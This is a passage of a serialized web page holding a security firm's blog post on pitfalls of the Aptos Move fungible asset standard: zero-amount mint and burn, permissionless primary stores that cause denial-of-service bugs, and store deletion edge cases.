assert!",{"type":23,"tag":230,"props":64121,"children":64122},{"style":274},[64123],{"type":29,"value":302},{"type":23,"tag":230,"props":64125,"children":64126},{"style":262},[64127],{"type":29,"value":22621},{"type":23,"tag":230,"props":64129,"children":64130},{"style":268},[64131],{"type":29,"value":5621},{"type":23,"tag":230,"props":64133,"children":64134},{"style":5149},[64135],{"type":29,"value":5386},{"type":23,"tag":230,"props":64137,"children":64138},{"style":274},[64139],{"type":29,"value":64140},", error",{"type":23,"tag":230,"props":64142,"children":64143},{"style":268},[64144],{"type":29,"value":5818},{"type":23,"tag":230,"props":64146,"children":64147},{"style":294},[64148],{"type":29,"value":64149},"invalid_argument",{"type":23,"tag":230,"props":64151,"children":64152},{"style":274},[64153],{"type":29,"value":64154},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":230,"props":64156,"children":64157},{"class":232,"line":280},[64158],{"type":23,"tag":230,"props":64159,"children":64160},{"style":274},[64161],{"type":29,"value":975},{"type":23,"tag":230,"props":64163,"children":64164},{"class":232,"line":334},[64165],{"type":23,"tag":230,"props":64166,"children":64167},{"emptyLinePlaceholder":18},[64168],{"type":29,"value":459},{"type":23,"tag":230,"props":64170,"children":64171},{"class":232,"line":371},[64172,64176,64180,64185,64189,64193,64197,64201,64205,64209,64213,64217,64221,64225,64229,64233,64237],{"type":23,"tag":230,"props":64173,"children":64174},{"style":262},[64175],{"type":29,"value":63450},{"type":23,"tag":230,"props":64177,"children":64178},{"style":262},[64179],{"type":29,"value":8544},{"type":23,"tag":230,"props":64181,"children":64182},{"style":262},[64183],{"type":29,"value":64184}," zero",{"type":23,"tag":230,"props":64186,"children":64187},{"style":274},[64188],{"type":29,"value":8143},{"type":23,"tag":230,"props":64190,"children":64191},{"style":676},[64192],{"type":29,"value":8324},{"type":23,"tag":230,"props":64194,"children":64195},{"style":268},[64196],{"type":29,"value":218},{"type":23,"tag":230,"props":64198,"children":64199},{"style":262},[64200],{"type":29,"value":8268},{"type":23,"tag":230,"props":64202,"children":64203},{"style":274},[64204],{"type":29,"value":9947},{"type":23,"tag":230,"props":64206,"children":64207},{"style":262},[64208],{"type":29,"value":64087},{"type":23,"tag":230,"props":64210,"children":64211},{"style":268},[64212],{"type":29,"value":218},{"type":23,"tag":230,"props":64214,"children":64215},{"style":676},[64216],{"type":29,"value":63336},{"type":23,"tag":230,"props":64218,"children":64219},{"style":274},[64220],{"type":29,"value":8143},{"type":23,"tag":230,"props":64222,"children":64223},{"style":676},[64224],{"type":29,"value":8324},{"type":23,"tag":230,"props":64226,"children":64227},{"style":274},[64228],{"type":29,"value":10724},{"type":23,"tag":230,"props":64230,"children":64231},{"style":268},[64232],{"type":29,"value":218},{"type":23,"tag":230,"props":64234,"children":64235},{"style":676},[64236],{"type":29,"value":63315},{"type":23,"tag":230,"props":64238,"children":64239},{"style":274},[64240],{"type":29,"value":277},{"type":23,"tag":230,"props":64242,"children":64243},{"class":232,"line":391},[64244,64249],{"type":23,"tag":230,"props":64245,"children":64246},{"style":676},[64247],{"type":29,"value":64248},"    FungibleAsset",{"type":23,"tag":230,"props":64250,"children":64251},{"style":274},[64252],{"type":29,"value":277},{"type":23,"tag":230,"props":64254,"children":64255},{"class":232,"line":400},[64256,64261,64265,64270,64274,64279,64283,64287],{"type":23,"tag":230,"props":64257,"children":64258},{"style":262},[64259],{"type":29,"value":64260},"        metadata",{"type":23,"tag":230,"props":64262,"children":64263},{"style":268},[64264],{"type":29,"value":218},{"type":23,"tag":230,"props":64266,"children":64267},{"style":274},[64268],{"type":29,"value":64269}," object",{"type":23,"tag":230,"props":64271,"children":64272},{"style":268},[64273],{"type":29,"value":5818},{"type":23,"tag":230,"props":64275,"children":64276},{"style":294},[64277],{"type":29,"value":64278},"convert",{"type":23,"tag":230,"props":64280,"children":64281},{"style":274},[64282],{"type":29,"value":302},{"type":23,"tag":230,"props":64284,"children":64285},{"style":262},[64286],{"type":29,"value":64087},{"type":23,"tag":230,"props":64288,"children":64289},{"style":274},[64290],{"type":29,"value":331},{"type":23,"tag":230,"props":64292,"children":64293},{"class":232,"line":444},[64294,64298,64302,64306],{"type":23,"tag":230,"props":64295,"children":64296},{"style":262},[64297],{"type":29,"value":9785},{"type":23,"tag":230,"props":64299,"children":64300},{"style":268},[64301],{"type":29,"value":218},{"type":23,"tag":230,"props":64303,"children":64304},{"style":5149},[64305],{"type":29,"value":5386},{"type":23,"tag":230,"props":64307,"children":64308},{"style":274},[64309],{"type":29,"value":388},{"type":23,"tag":230,"props":64311,"children":64312},{"class":232,"line":453},[64313],{"type":23,"tag":230,"props":64314,"children":64315},{"style":274},[64316],{"type":29,"value":1552},{"type":23,"tag":230,"props":64318,"children":64319},{"class":232,"line":462},[64320],{"type":23,"tag":230,"props":64321,"children":64322},{"style":274},[64323],{"type":29,"value":975},{"type":23,"tag":32,"props":64325,"children":64326},{},[64327],{"type":29,"value":64328},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":32,"props":64330,"children":64331},{},[64332,64334,64339],{"type":29,"value":64333},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":71,"props":64335,"children":64337},{"className":64336},[],[64338],{"type":29,"value":63428},{"type":29,"value":64340}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":59,"props":64342,"children":64344},{"id":64343},"primary-and-secondary-stores",[64345],{"type":29,"value":64346},"Primary and secondary stores",{"type":23,"tag":32,"props":64348,"children":64349},{},[64350,64356,64358,64364,64366,64371],{"type":23,"tag":71,"props":64351,"children":64353},{"className":64352},[],[64354],{"type":29,"value":64355},"FungibleStores",{"type":29,"value":64357}," in comparison to ",{"type":23,"tag":71,"props":64359,"children":64361},{"className":64360},[],[64362],{"type":29,"value":64363},"CoinStores",{"type":29,"value":64365}," are not unique. Each user can have multiple ",{"type":23,"tag":71,"props":64367,"children":64369},{"className":64368},[],[64370],{"type":29,"value":63851},{"type":29,"value":64372}," objects for a given token!",{"type":23,"tag":32,"props":64374,"children":64375},{},[64376,64378,64385,64387,64392],{"type":29,"value":64377},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":181,"props":64379,"children":64382},{"href":64380,"rel":64381},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[185],[64383],{"type":29,"value":64384},"primary_fungible_store",{"type":29,"value":64386}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":71,"props":64388,"children":64390},{"className":64389},[],[64391],{"type":29,"value":63345},{"type":29,"value":64393}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":32,"props":64395,"children":64396},{},[64397],{"type":29,"value":64398},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":220,"props":64400,"children":64402},{"className":5320,"code":64401,"language":5319,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[64403],{"type":23,"tag":71,"props":64404,"children":64405},{"__ignoreMap":7},[64406,64431,64463,64486,64502,64556,64571],{"type":23,"tag":230,"props":64407,"children":64408},{"class":232,"line":233},[64409,64413,64418,64422,64427],{"type":23,"tag":230,"props":64410,"children":64411},{"style":262},[64412],{"type":29,"value":63450},{"type":23,"tag":230,"props":64414,"children":64415},{"style":262},[64416],{"type":29,"value":64417}," entry",{"type":23,"tag":230,"props":64419,"children":64420},{"style":262},[64421],{"type":29,"value":8544},{"type":23,"tag":230,"props":64423,"children":64424},{"style":294},[64425],{"type":29,"value":64426}," register",{"type":23,"tag":230,"props":64428,"children":64429},{"style":274},[64430],{"type":29,"value":619},{"type":23,"tag":230,"props":64432,"children":64433},{"class":232,"line":243},[64434,64439,64443,64447,64451,64455,64459],{"type":23,"tag":230,"props":64435,"children":64436},{"style":262},[64437],{"type":29,"value":64438},"    user",{"type":23,"tag":230,"props":64440,"children":64441},{"style":268},[64442],{"type":29,"value":218},{"type":23,"tag":230,"props":64444,"children":64445},{"style":268},[64446],{"type":29,"value":9477},{"type":23,"tag":230,"props":64448,"children":64449},{"style":262},[64450],{"type":29,"value":9482},{"type":23,"tag":230,"props":64452,"children":64453},{"style":274},[64454],{"type":29,"value":45906},{"type":23,"tag":230,"props":64456,"children":64457},{"style":268},[64458],{"type":29,"value":11922},{"type":23,"tag":230,"props":64460,"children":64461},{"style":274},[64462],{"type":29,"value":14103},{"type":23,"tag":230,"props":64464,"children":64465},{"class":232,"line":252},[64466,64470,64474,64478,64482],{"type":23,"tag":230,"props":64467,"children":64468},{"style":274},[64469],{"type":29,"value":703},{"type":23,"tag":230,"props":64471,"children":64472},{"style":262},[64473],{"type":29,"value":8681},{"type":23,"tag":230,"props":64475,"children":64476},{"style":274},[64477],{"type":29,"value":25347},{"type":23,"tag":230,"props":64479,"children":64480},{"style":268},[64481],{"type":29,"value":11922},{"type":23,"tag":230,"props":64483,"children":64484},{"style":274},[64485],{"type":29,"value":63541},{"type":23,"tag":230,"props":64487,"children":64488},{"class":232,"line":280},[64489,64494,64498],{"type":23,"tag":230,"props":64490,"children":64491},{"style":274},[64492],{"type":29,"value":64493},"    [",{"type":23,"tag":230,"props":64495,"children":64496},{"style":268},[64497],{"type":29,"value":11922},{"type":23,"tag":230,"props":64499,"children":64500},{"style":274},[64501],{"type":29,"value":14103},{"type":23,"tag":230,"props":64503,"children":64504},{"class":232,"line":334},[64505,64509,64514,64518,64523,64527,64531,64535,64539,64543,64547,64552],{"type":23,"tag":230,"props":64506,"children":64507},{"style":256},[64508],{"type":29,"value":5340},{"type":23,"tag":230,"props":64510,"children":64511},{"style":262},[64512],{"type":29,"value":64513}," wallet_store",{"type":23,"tag":230,"props":64515,"children":64516},{"style":268},[64517],{"type":29,"value":271},{"type":23,"tag":230,"props":64519,"children":64520},{"style":294},[64521],{"type":29,"value":64522}," create_primary_store",{"type":23,"tag":230,"props":64524,"children":64525},{"style":274},[64526],{"type":29,"value":9536},{"type":23,"tag":230,"props":64528,"children":64529},{"style":268},[64530],{"type":29,"value":5818},{"type":23,"tag":230,"props":64532,"children":64533},{"style":294},[64534],{"type":29,"value":9545},{"type":23,"tag":230,"props":64536,"children":64537},{"style":274},[64538],{"type":29,"value":302},{"type":23,"tag":230,"props":64540,"children":64541},{"style":262},[64542],{"type":29,"value":63636},{"type":23,"tag":230,"props":64544,"children":64545},{"style":274},[64546],{"type":29,"value":17502},{"type":23,"tag":230,"props":64548,"children":64549},{"style":294},[64550],{"type":29,"value":64551},"get_metadata",{"type":23,"tag":230,"props":64553,"children":64554},{"style":274},[64555],{"type":29,"value":17749},{"type":23,"tag":230,"props":64557,"children":64558},{"class":232,"line":371},[64559,64563,64567],{"type":23,"tag":230,"props":64560,"children":64561},{"style":274},[64562],{"type":29,"value":64493},{"type":23,"tag":230,"props":64564,"children":64565},{"style":268},[64566],{"type":29,"value":11922},{"type":23,"tag":230,"props":64568,"children":64569},{"style":274},[64570],{"type":29,"value":14103},{"type":23,"tag":230,"props":64572,"children":64573},{"class":232,"line":391},[64574],{"type":23,"tag":230,"props":64575,"children":64576},{"style":274},[64577],{"type":29,"value":975},{"type":23,"tag":32,"props":64579,"children":64580},{},[64581,64582,64588,64590,64596],{"type":29,"value":980},{"type":23,"tag":71,"props":64583,"children":64585},{"className":64584},[],[64586],{"type":29,"value":64587},"create_primary_store",{"type":29,"value":64589}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":71,"props":64591,"children":64593},{"className":64592},[],[64594],{"type":29,"value":64595},"ensure_primary_store_exists",{"type":29,"value":64597}," is recommended to avoid such issues.",{"type":23,"tag":24,"props":64599,"children":64601},{"id":64600},"fungible-assets-and-objects",[64602],{"type":29,"value":64603},"Fungible assets and objects",{"type":23,"tag":32,"props":64605,"children":64606},{},[64607,64609,64614,64616,64623],{"type":29,"value":64608},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":71,"props":64610,"children":64612},{"className":64611},[],[64613],{"type":29,"value":50623},{"type":29,"value":64615}," module, introduced in ",{"type":23,"tag":181,"props":64617,"children":64620},{"href":64618,"rel":64619},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[185],[64621],{"type":29,"value":64622},"AIP-10",{"type":29,"value":312},{"type":23,"tag":5272,"props":64625,"children":64626},{},[64627],{"type":23,"tag":32,"props":64628,"children":64629},{},[64630,64634],{"type":23,"tag":230,"props":64631,"children":64632},{},[64633],{"type":29,"value":63225},{"type":29,"value":64635}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":32,"props":64637,"children":64638},{},[64639],{"type":29,"value":64640},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":59,"props":64642,"children":64644},{"id":64643},"creation-and-deletion",[64645],{"type":29,"value":64646},"Creation and deletion",{"type":23,"tag":32,"props":64648,"children":64649},{},[64650,64652,64658],{"type":29,"value":64651},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":71,"props":64653,"children":64655},{"className":64654},[],[64656],{"type":29,"value":64657},"fungible_asset::add_fungibility",{"type":29,"value":218},{"type":23,"tag":220,"props":64660,"children":64662},{"className":5320,"code":64661,"language":5319,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[64663],{"type":23,"tag":71,"props":64664,"children":64665},{"__ignoreMap":7},[64666],{"type":23,"tag":230,"props":64667,"children":64668},{"class":232,"line":233},[64669,64673,64677,64681,64686,64690,64695,64699,64704,64709,64713,64717],{"type":23,"tag":230,"props":64670,"children":64671},{"style":294},[64672],{"type":29,"value":43751},{"type":23,"tag":230,"props":64674,"children":64675},{"style":274},[64676],{"type":29,"value":302},{"type":23,"tag":230,"props":64678,"children":64679},{"style":268},[64680],{"type":29,"value":22936},{"type":23,"tag":230,"props":64682,"children":64683},{"style":274},[64684],{"type":29,"value":64685},"object",{"type":23,"tag":230,"props":64687,"children":64688},{"style":268},[64689],{"type":29,"value":5818},{"type":23,"tag":230,"props":64691,"children":64692},{"style":294},[64693],{"type":29,"value":64694},"can_generate_delete_ref",{"type":23,"tag":230,"props":64696,"children":64697},{"style":274},[64698],{"type":29,"value":302},{"type":23,"tag":230,"props":64700,"children":64701},{"style":262},[64702],{"type":29,"value":64703},"constructor_ref",{"type":23,"tag":230,"props":64705,"children":64706},{"style":274},[64707],{"type":29,"value":64708},"), error",{"type":23,"tag":230,"props":64710,"children":64711},{"style":268},[64712],{"type":29,"value":5818},{"type":23,"tag":230,"props":64714,"children":64715},{"style":294},[64716],{"type":29,"value":64149},{"type":23,"tag":230,"props":64718,"children":64719},{"style":274},[64720],{"type":29,"value":64721},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":32,"props":64723,"children":64724},{},[64725,64727,64732,64734,64739,64740,64747],{"type":29,"value":64726},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":71,"props":64728,"children":64730},{"className":64729},[],[64731],{"type":29,"value":63286},{"type":29,"value":64733},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":71,"props":64735,"children":64737},{"className":64736},[],[64738],{"type":29,"value":64657},{"type":29,"value":3374},{"type":23,"tag":181,"props":64741,"children":64744},{"href":64742,"rel":64743},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[185],[64745],{"type":29,"value":64746},"lacked this assert",{"type":29,"value":64748},", which we discovered and reported.",{"type":23,"tag":32,"props":64750,"children":64751},{},[64752,64757,64759,64764,64766,64771],{"type":23,"tag":71,"props":64753,"children":64755},{"className":64754},[],[64756],{"type":29,"value":64657},{"type":29,"value":64758}," transfers the ",{"type":23,"tag":71,"props":64760,"children":64762},{"className":64761},[],[64763],{"type":29,"value":63345},{"type":29,"value":64765}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":71,"props":64767,"children":64769},{"className":64768},[],[64770],{"type":29,"value":63286},{"type":29,"value":64772}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":220,"props":64774,"children":64776},{"className":5320,"code":64775,"language":5319,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[64777],{"type":23,"tag":71,"props":64778,"children":64779},{"__ignoreMap":7},[64780,64788,64808,64823,64850,64865,64886,64898,64910,64922,64934,64946,64958,64965,64972,64987],{"type":23,"tag":230,"props":64781,"children":64782},{"class":232,"line":233},[64783],{"type":23,"tag":230,"props":64784,"children":64785},{"style":237},[64786],{"type":29,"value":64787},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":230,"props":64789,"children":64790},{"class":232,"line":243},[64791,64795,64799,64804],{"type":23,"tag":230,"props":64792,"children":64793},{"style":262},[64794],{"type":29,"value":63450},{"type":23,"tag":230,"props":64796,"children":64797},{"style":262},[64798],{"type":29,"value":8544},{"type":23,"tag":230,"props":64800,"children":64801},{"style":294},[64802],{"type":29,"value":64803}," add_fungibility",{"type":23,"tag":230,"props":64805,"children":64806},{"style":274},[64807],{"type":29,"value":619},{"type":23,"tag":230,"props":64809,"children":64810},{"class":232,"line":252},[64811,64815,64819],{"type":23,"tag":230,"props":64812,"children":64813},{"style":274},[64814],{"type":29,"value":64493},{"type":23,"tag":230,"props":64816,"children":64817},{"style":268},[64818],{"type":29,"value":11922},{"type":23,"tag":230,"props":64820,"children":64821},{"style":274},[64822],{"type":29,"value":14103},{"type":23,"tag":230,"props":64824,"children":64825},{"class":232,"line":280},[64826,64830,64834,64838,64842,64846],{"type":23,"tag":230,"props":64827,"children":64828},{"style":274},[64829],{"type":29,"value":5467},{"type":23,"tag":230,"props":64831,"children":64832},{"style":268},[64833],{"type":29,"value":218},{"type":23,"tag":230,"props":64835,"children":64836},{"style":676},[64837],{"type":29,"value":63336},{"type":23,"tag":230,"props":64839,"children":64840},{"style":274},[64841],{"type":29,"value":8143},{"type":23,"tag":230,"props":64843,"children":64844},{"style":676},[64845],{"type":29,"value":63345},{"type":23,"tag":230,"props":64847,"children":64848},{"style":274},[64849],{"type":29,"value":9617},{"type":23,"tag":230,"props":64851,"children":64852},{"class":232,"line":334},[64853,64857,64861],{"type":23,"tag":230,"props":64854,"children":64855},{"style":274},[64856],{"type":29,"value":64493},{"type":23,"tag":230,"props":64858,"children":64859},{"style":268},[64860],{"type":29,"value":11922},{"type":23,"tag":230,"props":64862,"children":64863},{"style":274},[64864],{"type":29,"value":14103},{"type":23,"tag":230,"props":64866,"children":64867},{"class":232,"line":371},[64868,64873,64877,64882],{"type":23,"tag":230,"props":64869,"children":64870},{"style":294},[64871],{"type":29,"value":64872},"    move_to",{"type":23,"tag":230,"props":64874,"children":64875},{"style":274},[64876],{"type":29,"value":302},{"type":23,"tag":230,"props":64878,"children":64879},{"style":262},[64880],{"type":29,"value":64881},"metadata_object_signer",{"type":23,"tag":230,"props":64883,"children":64884},{"style":274},[64885],{"type":29,"value":388},{"type":23,"tag":230,"props":64887,"children":64888},{"class":232,"line":391},[64889,64894],{"type":23,"tag":230,"props":64890,"children":64891},{"style":676},[64892],{"type":29,"value":64893},"        Metadata",{"type":23,"tag":230,"props":64895,"children":64896},{"style":274},[64897],{"type":29,"value":277},{"type":23,"tag":230,"props":64899,"children":64900},{"class":232,"line":400},[64901,64906],{"type":23,"tag":230,"props":64902,"children":64903},{"style":262},[64904],{"type":29,"value":64905},"            name",{"type":23,"tag":230,"props":64907,"children":64908},{"style":274},[64909],{"type":29,"value":388},{"type":23,"tag":230,"props":64911,"children":64912},{"class":232,"line":444},[64913,64918],{"type":23,"tag":230,"props":64914,"children":64915},{"style":262},[64916],{"type":29,"value":64917},"            symbol",{"type":23,"tag":230,"props":64919,"children":64920},{"style":274},[64921],{"type":29,"value":388},{"type":23,"tag":230,"props":64923,"children":64924},{"class":232,"line":453},[64925,64930],{"type":23,"tag":230,"props":64926,"children":64927},{"style":262},[64928],{"type":29,"value":64929},"            decimals",{"type":23,"tag":230,"props":64931,"children":64932},{"style":274},[64933],{"type":29,"value":388},{"type":23,"tag":230,"props":64935,"children":64936},{"class":232,"line":462},[64937,64942],{"type":23,"tag":230,"props":64938,"children":64939},{"style":262},[64940],{"type":29,"value":64941},"            icon_uri",{"type":23,"tag":230,"props":64943,"children":64944},{"style":274},[64945],{"type":29,"value":388},{"type":23,"tag":230,"props":64947,"children":64948},{"class":232,"line":471},[64949,64954],{"type":23,"tag":230,"props":64950,"children":64951},{"style":262},[64952],{"type":29,"value":64953},"            project_uri",{"type":23,"tag":230,"props":64955,"children":64956},{"style":274},[64957],{"type":29,"value":388},{"type":23,"tag":230,"props":64959,"children":64960},{"class":232,"line":500},[64961],{"type":23,"tag":230,"props":64962,"children":64963},{"style":274},[64964],{"type":29,"value":5686},{"type":23,"tag":230,"props":64966,"children":64967},{"class":232,"line":514},[64968],{"type":23,"tag":230,"props":64969,"children":64970},{"style":274},[64971],{"type":29,"value":45425},{"type":23,"tag":230,"props":64973,"children":64974},{"class":232,"line":897},[64975,64979,64983],{"type":23,"tag":230,"props":64976,"children":64977},{"style":274},[64978],{"type":29,"value":6069},{"type":23,"tag":230,"props":64980,"children":64981},{"style":268},[64982],{"type":29,"value":11922},{"type":23,"tag":230,"props":64984,"children":64985},{"style":274},[64986],{"type":29,"value":14103},{"type":23,"tag":230,"props":64988,"children":64989},{"class":232,"line":960},[64990],{"type":23,"tag":230,"props":64991,"children":64992},{"style":274},[64993],{"type":29,"value":975},{"type":23,"tag":21113,"props":64995,"children":64996},{},[],{"type":23,"tag":32,"props":64998,"children":64999},{},[65000,65002,65007,65009,65014],{"type":29,"value":65001},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":71,"props":65003,"children":65005},{"className":65004},[],[65006],{"type":29,"value":63851},{"type":29,"value":65008}," is also an object, and a \"secondary\" ",{"type":23,"tag":71,"props":65010,"children":65012},{"className":65011},[],[65013],{"type":29,"value":63851},{"type":29,"value":65015}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":220,"props":65017,"children":65019},{"className":5320,"code":65018,"language":5319,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[65020],{"type":23,"tag":71,"props":65021,"children":65022},{"__ignoreMap":7},[65023,65031,65073,65080,65088],{"type":23,"tag":230,"props":65024,"children":65025},{"class":232,"line":233},[65026],{"type":23,"tag":230,"props":65027,"children":65028},{"style":237},[65029],{"type":29,"value":65030},"//Fungible asset\n",{"type":23,"tag":230,"props":65032,"children":65033},{"class":232,"line":243},[65034,65038,65042,65047,65051,65056,65060,65064,65069],{"type":23,"tag":230,"props":65035,"children":65036},{"style":262},[65037],{"type":29,"value":63450},{"type":23,"tag":230,"props":65039,"children":65040},{"style":262},[65041],{"type":29,"value":8544},{"type":23,"tag":230,"props":65043,"children":65044},{"style":294},[65045],{"type":29,"value":65046}," remove_store",{"type":23,"tag":230,"props":65048,"children":65049},{"style":274},[65050],{"type":29,"value":302},{"type":23,"tag":230,"props":65052,"children":65053},{"style":262},[65054],{"type":29,"value":65055},"delete_ref",{"type":23,"tag":230,"props":65057,"children":65058},{"style":268},[65059],{"type":29,"value":218},{"type":23,"tag":230,"props":65061,"children":65062},{"style":268},[65063],{"type":29,"value":9477},{"type":23,"tag":230,"props":65065,"children":65066},{"style":676},[65067],{"type":29,"value":65068},"DeleteRef",{"type":23,"tag":230,"props":65070,"children":65071},{"style":274},[65072],{"type":29,"value":4516},{"type":23,"tag":230,"props":65074,"children":65075},{"class":232,"line":252},[65076],{"type":23,"tag":230,"props":65077,"children":65078},{"emptyLinePlaceholder":18},[65079],{"type":29,"value":459},{"type":23,"tag":230,"props":65081,"children":65082},{"class":232,"line":280},[65083],{"type":23,"tag":230,"props":65084,"children":65085},{"style":237},[65086],{"type":29,"value":65087},"//Object\n",{"type":23,"tag":230,"props":65089,"children":65090},{"class":232,"line":334},[65091,65095,65099,65104,65108,65113,65117,65122],{"type":23,"tag":230,"props":65092,"children":65093},{"style":262},[65094],{"type":29,"value":63450},{"type":23,"tag":230,"props":65096,"children":65097},{"style":262},[65098],{"type":29,"value":8544},{"type":23,"tag":230,"props":65100,"children":65101},{"style":294},[65102],{"type":29,"value":65103}," delete",{"type":23,"tag":230,"props":65105,"children":65106},{"style":274},[65107],{"type":29,"value":302},{"type":23,"tag":230,"props":65109,"children":65110},{"style":256},[65111],{"type":29,"value":65112},"ref",{"type":23,"tag":230,"props":65114,"children":65115},{"style":268},[65116],{"type":29,"value":218},{"type":23,"tag":230,"props":65118,"children":65119},{"style":676},[65120],{"type":29,"value":65121}," DeleteRef",{"type":23,"tag":230,"props":65123,"children":65124},{"style":274},[65125],{"type":29,"value":4516},{"type":23,"tag":32,"props":65127,"children":65128},{},[65129,65131,65137,65139,65144,65146,65151,65153,65158,65160,65166,65168,65174,65176,65181],{"type":29,"value":65130},"When ",{"type":23,"tag":71,"props":65132,"children":65134},{"className":65133},[],[65135],{"type":29,"value":65136},"object::delete",{"type":29,"value":65138}," removes the ",{"type":23,"tag":71,"props":65140,"children":65142},{"className":65141},[],[65143],{"type":29,"value":50623},{"type":29,"value":65145}," from a ",{"type":23,"tag":71,"props":65147,"children":65149},{"className":65148},[],[65150],{"type":29,"value":63851},{"type":29,"value":65152}," object, the ",{"type":23,"tag":71,"props":65154,"children":65156},{"className":65155},[],[65157],{"type":29,"value":63851},{"type":29,"value":65159}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":71,"props":65161,"children":65163},{"className":65162},[],[65164],{"type":29,"value":65165},"remove_store",{"type":29,"value":65167}," can't create an ",{"type":23,"tag":71,"props":65169,"children":65171},{"className":65170},[],[65172],{"type":29,"value":65173},"Object\u003CFungibleStore>",{"type":29,"value":65175}," without an ",{"type":23,"tag":71,"props":65177,"children":65179},{"className":65178},[],[65180],{"type":29,"value":50623},{"type":29,"value":65182}," underneath, causing the operation to fail.",{"type":23,"tag":220,"props":65184,"children":65186},{"className":5320,"code":65185,"language":5319,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[65187],{"type":23,"tag":71,"props":65188,"children":65189},{"__ignoreMap":7},[65190,65245,65297,65312],{"type":23,"tag":230,"props":65191,"children":65192},{"class":232,"line":233},[65193,65197,65201,65205,65209,65213,65217,65221,65225,65229,65233,65237,65241],{"type":23,"tag":230,"props":65194,"children":65195},{"style":262},[65196],{"type":29,"value":63450},{"type":23,"tag":230,"props":65198,"children":65199},{"style":262},[65200],{"type":29,"value":8544},{"type":23,"tag":230,"props":65202,"children":65203},{"style":294},[65204],{"type":29,"value":65046},{"type":23,"tag":230,"props":65206,"children":65207},{"style":274},[65208],{"type":29,"value":302},{"type":23,"tag":230,"props":65210,"children":65211},{"style":262},[65212],{"type":29,"value":65055},{"type":23,"tag":230,"props":65214,"children":65215},{"style":268},[65216],{"type":29,"value":218},{"type":23,"tag":230,"props":65218,"children":65219},{"style":268},[65220],{"type":29,"value":9477},{"type":23,"tag":230,"props":65222,"children":65223},{"style":676},[65224],{"type":29,"value":65068},{"type":23,"tag":230,"props":65226,"children":65227},{"style":274},[65228],{"type":29,"value":703},{"type":23,"tag":230,"props":65230,"children":65231},{"style":262},[65232],{"type":29,"value":8681},{"type":23,"tag":230,"props":65234,"children":65235},{"style":274},[65236],{"type":29,"value":25347},{"type":23,"tag":230,"props":65238,"children":65239},{"style":268},[65240],{"type":29,"value":11922},{"type":23,"tag":230,"props":65242,"children":65243},{"style":274},[65244],{"type":29,"value":63541},{"type":23,"tag":230,"props":65246,"children":65247},{"class":232,"line":243},[65248,65252,65256,65260,65264,65268,65272,65277,65281,65285,65289,65293],{"type":23,"tag":230,"props":65249,"children":65250},{"style":256},[65251],{"type":29,"value":5340},{"type":23,"tag":230,"props":65253,"children":65254},{"style":262},[65255],{"type":29,"value":8168},{"type":23,"tag":230,"props":65257,"children":65258},{"style":268},[65259],{"type":29,"value":271},{"type":23,"tag":230,"props":65261,"children":65262},{"style":268},[65263],{"type":29,"value":9477},{"type":23,"tag":230,"props":65265,"children":65266},{"style":274},[65267],{"type":29,"value":64685},{"type":23,"tag":230,"props":65269,"children":65270},{"style":268},[65271],{"type":29,"value":5818},{"type":23,"tag":230,"props":65273,"children":65274},{"style":262},[65275],{"type":29,"value":65276},"object_from_delete_ref",{"type":23,"tag":230,"props":65278,"children":65279},{"style":274},[65280],{"type":29,"value":8143},{"type":23,"tag":230,"props":65282,"children":65283},{"style":676},[65284],{"type":29,"value":63851},{"type":23,"tag":230,"props":65286,"children":65287},{"style":274},[65288],{"type":29,"value":9947},{"type":23,"tag":230,"props":65290,"children":65291},{"style":262},[65292],{"type":29,"value":65055},{"type":23,"tag":230,"props":65294,"children":65